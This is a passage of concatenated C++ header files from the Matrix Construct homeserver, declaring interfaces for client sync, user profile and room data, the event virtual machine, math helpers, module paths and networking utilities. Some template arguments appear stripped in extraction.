| /// interface simplifies the sharing of common structures and functions among 20 | /// the modules. 21 | /// 22 | /// The primary module which drives client sync is `modules/client/sync.cc` and 23 | /// the functionality for each aspect of a /sync request and response is 24 | /// provided by the tree of modules. 25 | namespace ircd::m::sync 26 | { 27 | extern ctx::pool pool; 28 | extern log::log log; 29 | } 30 | 31 | #include "since.h" 32 | #include "item.h" 33 | #include "stats.h" 34 | #include "args.h" 35 | #include "data.h" 36 | -------------------------------------------------------------------------------- /include/ircd/m/trace.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_TRACE_H 13 | 14 | namespace ircd::m::trace 15 | { 16 | using closure = util::function_bool 17 | < 18 | const event::idx &, const uint64_t &, const m::room::message & 19 | >; 20 | 21 | bool for_each(const event::idx &, const closure &); 22 | } 23 | -------------------------------------------------------------------------------- /include/ircd/m/user/account_data.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_USER_ACCOUNT_DATA_H 13 | 14 | struct ircd::m::user::account_data 15 | { 16 | using closure_bool = std::function; 17 | using closure = std::function; 18 | 19 | m::user user; 20 | 21 | public: 22 | bool for_each(const closure_bool &) const; 23 | bool get(std::nothrow_t, const string_view &type, const closure &) const; 24 | void get(const string_view &type, const closure &) const; 25 | json::object get(const mutable_buffer &out, const string_view &type) const; //nothrow 26 | event::id::buf set(const string_view &type, const json::object &value) const; 27 | 28 | account_data(const m::user &user) 29 | :user{user} 30 | {} 31 | }; 32 | -------------------------------------------------------------------------------- /include/ircd/m/user/events.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_USER_EVENTS_H 13 | 14 | /// Interface to all events from a user (sender) 15 | struct ircd::m::user::events 16 | { 17 | using idx_closure_bool = std::function; 18 | using closure_bool = std::function; 19 | 20 | m::user user; 21 | 22 | public: 23 | bool for_each(const idx_closure_bool &) const; 24 | bool for_each(const closure_bool &) const; 25 | size_t count() const; 26 | 27 | events(const m::user &user) 28 | :user{user} 29 | {} 30 | }; 31 | -------------------------------------------------------------------------------- /include/ircd/m/user/ignores.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_USER_IGNORES_H 13 | 14 | /// Interface to the user ignorance 15 | struct ircd::m::user::ignores 16 | { 17 | using closure_bool = std::function; 18 | 19 | m::user user; 20 | 21 | static bool enforce(const string_view &type); 22 | 23 | public: 24 | bool for_each(const closure_bool &) const; 25 | bool has(const m::user::id &other) const; 26 | 27 | ignores(const m::user &user) 28 | :user{user} 29 | {} 30 | }; 31 | -------------------------------------------------------------------------------- /include/ircd/m/user/profile.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_USER_PROFILE_H 13 | 14 | /// Interface to the user profile 15 | struct ircd::m::user::profile 16 | { 17 | using closure_bool = std::function; 18 | using closure = std::function; 19 | 20 | m::user user; 21 | 22 | static void fetch(const m::user &, const string_view &, const string_view &key = {}); 23 | 24 | public: 25 | bool for_each(const closure_bool &) const; 26 | bool get(std::nothrow_t, const string_view &key, const closure &) const; 27 | void get(const string_view &key, const closure &) const; 28 | string_view get(const mutable_buffer &out, const string_view &key) const; // nothrow 29 | event::id::buf set(const string_view &key, const string_view &val) const; 30 | 31 | profile(const m::user &user) 32 | :user{user} 33 | {} 34 | }; 35 | -------------------------------------------------------------------------------- /include/ircd/m/user/pushrules.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_USER_PUSHRULES_H 13 | 14 | struct ircd::m::user::pushrules 15 | { 16 | using path = push::path; 17 | using closure_bool = std::function; 18 | using closure = std::function; 19 | 20 | m::user user; 21 | 22 | public: 23 | bool for_each(const path &, const closure_bool &) const; 24 | bool for_each(const closure_bool &) const; 25 | bool get(std::nothrow_t, const path &, const closure &) const; 26 | void get(const path &, const closure &) const; 27 | bool set(const path &, const json::object &value) const; 28 | bool del(const path &) const; 29 | 30 | pushrules(const m::user &user) noexcept; 31 | }; 32 | 33 | inline 34 | ircd::m::user::pushrules::pushrules(const m::user &user) 35 | noexcept 36 | :user{user} 37 | {} 38 | -------------------------------------------------------------------------------- /include/ircd/m/user/reading.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2021 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_USER_READING_H 13 | 14 | struct ircd::m::user::reading 15 | { 16 | /// The user is currently viewing this room (any device). 17 | id::room::buf room_id; 18 | 19 | /// The user hasn't seen events later than this in the room (m.read) 20 | id::event::buf last; 21 | 22 | /// The client claims the user saw `last` at this time. 23 | milliseconds last_ts {0ms}; 24 | 25 | /// The client reported `last` at this time. 26 | milliseconds last_ots {0ms}; 27 | 28 | /// The user has fully read up to this event (m.fully_read) 29 | id::event::buf full; 30 | 31 | /// The client reported `full` at this time 32 | milliseconds full_ots {0ms}; 33 | 34 | /// User is currently_active. 35 | bool currently_active {false}; 36 | 37 | reading(const user &); 38 | reading() = default; 39 | }; 40 | -------------------------------------------------------------------------------- /include/ircd/m/user/room.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_USER_ROOM_H 13 | 14 | struct ircd::m::user::room 15 | :m::room 16 | { 17 | m::user user; 18 | id::room::buf room_id; 19 | 20 | explicit 21 | room(const m::user &user, 22 | const vm::copts *const & = nullptr, 23 | const event::fetch::opts *const & = nullptr); 24 | 25 | room(const m::user::id &user_id, 26 | const vm::copts *const & = nullptr, 27 | const event::fetch::opts *const & = nullptr); 28 | 29 | room() = default; 30 | room(const room &) = delete; 31 | room &operator=(const room &) = delete; 32 | 33 | static bool is(const room::id &, const user::id &); 34 | }; 35 | -------------------------------------------------------------------------------- /include/ircd/m/user/rooms.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_USER_ROOMS_H 13 | 14 | /// Interface to the rooms for a user. 15 | struct ircd::m::user::rooms 16 | { 17 | struct origins; 18 | 19 | using closure_bool = util::function_bool 20 | < 21 | const m::room &, const string_view & 22 | >; 23 | 24 | m::user user; 25 | 26 | public: 27 | bool for_each(const string_view &membership, const closure_bool &) const; 28 | bool for_each(const closure_bool &) const; 29 | 30 | size_t count(const string_view &membership) const; 31 | size_t count() const; 32 | 33 | bool prefetch() const; 34 | 35 | rooms(const m::user &user) 36 | :user{user} 37 | {} 38 | }; 39 | -------------------------------------------------------------------------------- /include/ircd/m/user/servers.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_USER_SERVERS_H 13 | 14 | /// Interface to the other servers visible to a user from their rooms 15 | struct ircd::m::user::servers 16 | { 17 | using closure_bool = room::origins::closure_bool; 18 | 19 | m::user user; 20 | 21 | public: 22 | // All servers for the user in all their rooms 23 | bool for_each(const string_view &membership, const closure_bool &) const; 24 | bool for_each(const closure_bool &) const; 25 | 26 | // Counting convenience 27 | size_t count(const string_view &membership = {}) const; 28 | 29 | // Existential convenience (does `user` and `other` share any common room). 30 | bool has(const string_view &server, const string_view &membership = {}) const; 31 | 32 | servers(const m::user &user) 33 | :user{user} 34 | {} 35 | }; 36 | -------------------------------------------------------------------------------- /include/ircd/m/visible.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_VISIBLE_H 13 | 14 | namespace ircd::m 15 | { 16 | // The mxid argument is a string_view because it may be empty when no 17 | // authentication is supplied (m::id cannot be empty because that's 18 | // considered an invalid mxid). In that case the test is for public vis. 19 | bool visible(const event &, const string_view &mxid); 20 | } 21 | -------------------------------------------------------------------------------- /include/ircd/m/vm/seq.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_VM_SEQ_H 13 | 14 | namespace ircd::m::vm::sequence 15 | { 16 | struct refresh; 17 | 18 | extern ctx::dock dock; 19 | extern uint64_t retired; // already written; always monotonic 20 | extern uint64_t committed; // pending write; usually monotonic 21 | extern uint64_t uncommitted; // evaluating; not monotonic 22 | static size_t pending; 23 | 24 | const uint64_t &get(const eval &); 25 | uint64_t get(id::event::buf &); // [GET] 26 | 27 | uint64_t max(); 28 | uint64_t min(); 29 | } 30 | 31 | struct ircd::m::vm::sequence::refresh 32 | { 33 | uint64_t database[2] {0, 0}; 34 | uint64_t retired[2] {0, 0}; 35 | m::event::id::buf event_id; 36 | 37 | refresh(); 38 | }; 39 | -------------------------------------------------------------------------------- /include/ircd/m/vm/vm.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_M_VM_H 13 | 14 | /// Matrix Virtual Machine 15 | /// 16 | namespace ircd::m::vm 17 | { 18 | struct init; 19 | 20 | extern log::log log; 21 | extern ctx::dock dock; 22 | extern bool ready; 23 | } 24 | 25 | #include "fault.h" 26 | #include "error.h" 27 | #include "phase.h" 28 | #include "opts.h" 29 | #include "eval.h" 30 | #include "seq.h" 31 | #include "notify.h" 32 | 33 | namespace ircd::m::vm 34 | { 35 | fault execute(eval &, const vector_view &); 36 | fault execute(eval &, const json::array &); 37 | fault inject(eval &, json::iov &, const json::iov &); 38 | } 39 | 40 | struct ircd::m::vm::init 41 | { 42 | init(), ~init() noexcept; 43 | }; 44 | -------------------------------------------------------------------------------- /include/ircd/magic.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_MAGIC_H 13 | 14 | /// Content MIME typing interface. 15 | namespace ircd::magic 16 | { 17 | struct init; 18 | 19 | IRCD_EXCEPTION(ircd::error, error) 20 | 21 | string_view mime(const mutable_buffer &out, const const_buffer &); 22 | string_view mime_type(const mutable_buffer &out, const const_buffer &); 23 | string_view mime_encoding(const mutable_buffer &out, const const_buffer &); 24 | string_view extensions(const mutable_buffer &out, const const_buffer &); 25 | string_view description(const mutable_buffer &out, const const_buffer &); 26 | 27 | extern conf::item file_path; 28 | extern const info::versions version_api, version_abi; 29 | } 30 | 31 | struct [[gnu::visibility("hidden")]] 32 | ircd::magic::init 33 | { 34 | init(); 35 | ~init() noexcept; 36 | }; 37 | -------------------------------------------------------------------------------- /include/ircd/math/diff.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_MATH_DIFF_H 13 | 14 | namespace ircd::math 15 | { 16 | template 17 | typename std::enable_if(), T>::type 18 | diff(const T, const T); 19 | 20 | template 21 | typename std::enable_if(), T>::type 22 | diff(const T, const T); 23 | } 24 | 25 | namespace ircd 26 | { 27 | using math::diff; 28 | } 29 | 30 | template 31 | inline typename std::enable_if(), T>::type 32 | ircd::math::diff(const T a, const T b) 33 | { 34 | T r; 35 | for(uint i(0); i < simd::lanes(); ++i) 36 | r[i] = diff(a[i], b[i]); 37 | 38 | return r; 39 | } 40 | 41 | template 42 | inline typename std::enable_if(), T>::type 43 | ircd::math::diff(const T a, const T b) 44 | { 45 | return a > b? 46 | a - b: 47 | b - a; 48 | } 49 | -------------------------------------------------------------------------------- /include/ircd/math/inv.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2021 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_MATH_INV_H 13 | 14 | namespace ircd::math 15 | { 16 | template constexpr Z inv(Z a, const Z m); 17 | } 18 | 19 | /// Modular Inverse 20 | template 21 | inline constexpr Z 22 | ircd::math::inv(Z a, 23 | const Z m) 24 | { 25 | auto b{m}, x0{0}, x1{1}; 26 | if(likely(m != 1)) while(a > 1) 27 | { 28 | auto t{b}, q{a / b}; 29 | b = a % b; 30 | a = t; 31 | t = x0; 32 | x0 = x1 - q * x0; 33 | x1 = t; 34 | } 35 | 36 | x1 += boolmask(x1 < 0) & m; 37 | return x1; 38 | } 39 | -------------------------------------------------------------------------------- /include/ircd/math/log2.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2021 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_MATH_LOG2_H 13 | 14 | namespace ircd::math 15 | { 16 | template constexpr bool is_pow2(const Z); 17 | template constexpr Z next_pow2(const Z); 18 | template constexpr Z log2(const Z); 19 | template constexpr Z sqr(const Z); 20 | } 21 | 22 | template 23 | inline constexpr Z 24 | ircd::math::sqr(const Z n) 25 | { 26 | return pow(n, 2); 27 | } 28 | 29 | template 30 | inline constexpr Z 31 | ircd::math::log2(const Z n) 32 | { 33 | return n > Z{1}? 34 | Z{1} + log2(n >> 1): 35 | 0; 36 | } 37 | 38 | template 39 | inline constexpr Z 40 | ircd::math::next_pow2(Z v) 41 | { 42 | --v; 43 | v |= v >> 1; 44 | v |= v >> 2; 45 | v |= v >> 4; 46 | v |= v >> 8; 47 | v |= v >> 16; 48 | v |= v >> 32; 49 | return ++v; 50 | } 51 | 52 | template 53 | inline constexpr bool 54 | ircd::math::is_pow2(const Z v) 55 | { 56 | return v && !(v & (v - Z{1})); 57 | } 58 | -------------------------------------------------------------------------------- /include/ircd/math/math.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2021 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_MATH_MATH_H 13 | 14 | #include "log2.h" 15 | #include "diff.h" 16 | #include "inv.h" 17 | #include "mean.h" 18 | #include "tanh.h" 19 | #include "pow.h" 20 | #include "exp.h" 21 | #include "fmma.h" 22 | #include "norm.h" 23 | #include "smax.h" 24 | #include "sqrt.h" 25 | -------------------------------------------------------------------------------- /include/ircd/matrix.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #ifndef HAVE_IRCD_MATRIX_H 12 | #define HAVE_IRCD_MATRIX_H 13 | 14 | /// 15 | /// IRCd Matrix Library 16 | /// 17 | 18 | // ircd.h is included here so that it can be compiled into this header. Then 19 | // this becomes the single leading precompiled header. 20 | #include 21 | #include 22 | 23 | #endif HAVE_IRCD_MATRIX_H 24 | -------------------------------------------------------------------------------- /include/ircd/mods/README.md: -------------------------------------------------------------------------------- 1 | ## Loadable Modules 2 | 3 | In the spirit of IRCd we present this fundamental interface to load and update 4 | the functionality of the server at runtime without restarting and interrupting 5 | service to users. 6 | -------------------------------------------------------------------------------- /include/ircd/mods/paths.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_MODS_PATHS_H 13 | 14 | namespace ircd::mods 15 | { 16 | struct paths extern paths; 17 | 18 | // Platform (.so|.dll) postfixing 19 | std::string postfixed(std::string); 20 | std::string unpostfixed(std::string); 21 | std::string prefix_if_relative(std::string); 22 | } 23 | 24 | /// Search paths vector for modules. These directories will be searched 25 | /// when a relative path/name is given to various other places in the 26 | /// ircd::mods interface. 27 | /// 28 | class ircd::mods::paths 29 | { 30 | std::vector p; 31 | 32 | public: 33 | auto begin() const 34 | { 35 | return p.begin(); 36 | } 37 | 38 | auto end() const 39 | { 40 | return p.end(); 41 | } 42 | 43 | bool added(const string_view &dir) const; 44 | 45 | bool del(const string_view &dir); 46 | bool add(const string_view &dir, std::nothrow_t); 47 | bool add(const string_view &dir); 48 | 49 | paths(); 50 | }; 51 | -------------------------------------------------------------------------------- /include/ircd/nacl.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_NACL_H 13 | 14 | /// libsodium utility interface. (otherwise see: ircd::ed25519) 15 | namespace ircd::nacl 16 | { 17 | IRCD_EXCEPTION(ircd::error, error) 18 | 19 | extern const info::versions version_api, version_abi; 20 | } 21 | -------------------------------------------------------------------------------- /include/ircd/net/addrs.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_NET_ADDRS_H 13 | 14 | extern "C" 15 | { 16 | struct ifaddrs; 17 | } 18 | 19 | namespace ircd::net::addrs 20 | { 21 | struct addr; 22 | using closure = std::function; 23 | using raw_closure = std::function; 24 | 25 | bool for_each(const raw_closure &); 26 | bool for_each(const closure &); 27 | 28 | bool has_usable_ipv6_interface(); 29 | } 30 | 31 | struct ircd::net::addrs::addr 32 | { 33 | string_view name; 34 | ipport address; 35 | uint32_t flags {0}; 36 | uint32_t flowinfo {0}; 37 | uint32_t scope_id {0}; 38 | uint16_t family {0}; 39 | }; 40 | -------------------------------------------------------------------------------- /include/ircd/net/bpf.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_NET_BPF_H 13 | 14 | namespace ircd::net::bpf 15 | { 16 | struct map; 17 | struct prog; 18 | 19 | extern log::log log; 20 | } 21 | 22 | struct ircd::net::bpf::map 23 | { 24 | fs::fd fd; 25 | 26 | public: 27 | explicit operator bool() const 28 | { 29 | return bool(fd); 30 | } 31 | 32 | map(); 33 | ~map() noexcept; 34 | }; 35 | 36 | struct ircd::net::bpf::prog 37 | { 38 | const_buffer insns; 39 | mutable_buffer log_buf; 40 | fs::fd fd; 41 | 42 | public: 43 | explicit operator bool() const 44 | { 45 | return bool(fd); 46 | } 47 | 48 | prog(const const_buffer &, const mutable_buffer &log_buf); 49 | prog(const const_buffer &); 50 | ~prog() noexcept; 51 | }; 52 | -------------------------------------------------------------------------------- /include/ircd/net/check.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_NET_CHECK_H 13 | 14 | namespace ircd::net 15 | { 16 | // !!! 17 | // NOTE: only ready::ERROR is supported for this call at this time. 18 | // !!! 19 | 20 | // Check if the socket is ready, similar to wait(), but without blocking. 21 | // Returns true if the socket is ready for that type; false if it is not. 22 | // For ready::ERROR, returning true means the socket has a pending error. 23 | error_code check(std::nothrow_t, socket &, const ready & = ready::ERROR) noexcept; 24 | 25 | // Throws any error. 26 | void check(socket &, const ready & = ready::ERROR); 27 | } 28 | -------------------------------------------------------------------------------- /include/ircd/net/scope_timeout.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_NET_SCOPE_TIMEOUT_H 13 | 14 | namespace ircd::net 15 | { 16 | struct scope_timeout; 17 | } 18 | 19 | class ircd::net::scope_timeout 20 | { 21 | socket *s {nullptr}; 22 | 23 | public: 24 | using handler = std::function; // true = TO; false = canceled 25 | 26 | bool cancel() noexcept; // invoke timer.cancel() before dtor 27 | bool release(); // cancels the cancel; 28 | 29 | scope_timeout(socket &, const milliseconds &timeout, handler callback); 30 | scope_timeout(socket &, const milliseconds &timeout); 31 | scope_timeout() = default; 32 | scope_timeout(scope_timeout &&) noexcept; 33 | scope_timeout(const scope_timeout &) = delete; 34 | scope_timeout &operator=(scope_timeout &&) noexcept; 35 | scope_timeout &operator=(const scope_timeout &) = delete; 36 | ~scope_timeout() noexcept; 37 | }; 38 | -------------------------------------------------------------------------------- /include/ircd/pbc.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_PBC_H 13 | 14 | /// Pairing-Based Cryptography 15 | namespace ircd::pbc 16 | { 17 | IRCD_EXCEPTION(ircd::error, error) 18 | 19 | } 20 | -------------------------------------------------------------------------------- /include/ircd/png.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2021 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_PNG_H 13 | 14 | /// Portable Network Graphics; wrappers a la carte 15 | namespace ircd::png 16 | { 17 | IRCD_EXCEPTION(ircd::error, error) 18 | 19 | bool is_animated(const const_buffer &); 20 | 21 | extern const info::versions version_api, version_abi; 22 | } 23 | -------------------------------------------------------------------------------- /include/ircd/prof/README.md: -------------------------------------------------------------------------------- 1 | # Profiling & Performance Instruments 2 | 3 | This is an accumulated collection of tools available to developers to aid with 4 | optimization and debugging. Some items here leverage hardware and OS-specific 5 | features and their interface may not yet be implemented or available on all 6 | platforms. 7 | -------------------------------------------------------------------------------- /include/ircd/prof/arm.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_PROF_ARM_H 13 | 14 | /// ARM platform related 15 | namespace ircd::prof::arm 16 | { 17 | unsigned long long read_virtual_counter() noexcept; 18 | } 19 | 20 | #if defined(__aarch64__) 21 | extern inline unsigned long long 22 | __attribute__((always_inline, gnu_inline, artificial)) 23 | ircd::prof::arm::read_virtual_counter() 24 | noexcept 25 | { 26 | unsigned long long ret; 27 | asm volatile 28 | ( 29 | "mrs %0, cntvct_el0" 30 | : "=r" (ret) 31 | ); 32 | 33 | return ret; 34 | } 35 | #else 36 | extern inline unsigned long long 37 | __attribute__((always_inline, 